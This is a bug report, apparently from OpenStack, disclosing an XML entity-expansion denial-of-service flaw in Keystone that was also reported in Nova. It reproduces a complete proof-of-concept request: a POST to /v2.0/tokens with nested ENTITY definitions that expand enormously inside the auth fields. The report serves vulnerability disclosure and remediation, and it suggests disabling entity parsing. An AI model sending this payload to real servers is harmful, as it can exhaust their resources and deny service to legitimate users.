Bug description:
  Jonathan Murray from NCC Group reported that you can DoS keystone
  servers using XML entities in Keystone requests.

  [ Joshua Harlow from Yahoo! independently reported the same issue
  plaguing Nova (using minidom). ]

  POST /v2.0/tokens HTTP/1.1
  content-type: application/xml

  <!DOCTYPE foo [
  <!ENTITY a "AAAA lots of As AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAAA" >
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;" >
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;" >
  ]>
  <auth>
  <tenantName>&c;</tenantName>
  <passwordCredentials>
  <username>&c;</username>
  <username>&c;</username>
  <username>&c;</username>
  <username>&c;</username>
  <password>&c;</password>
  <somethingElse>&c;</somethingElse>
  <somethingElse1>&c;</somethingElse1>
  <somethingElse2>&c;</somethingElse2>
  </passwordCredentials>
  </auth>

  In that precise case it might be an issue with the XML library we use,
  although it sounds generally safer to disable parsing ENTITY blocks
  entirely if we can.
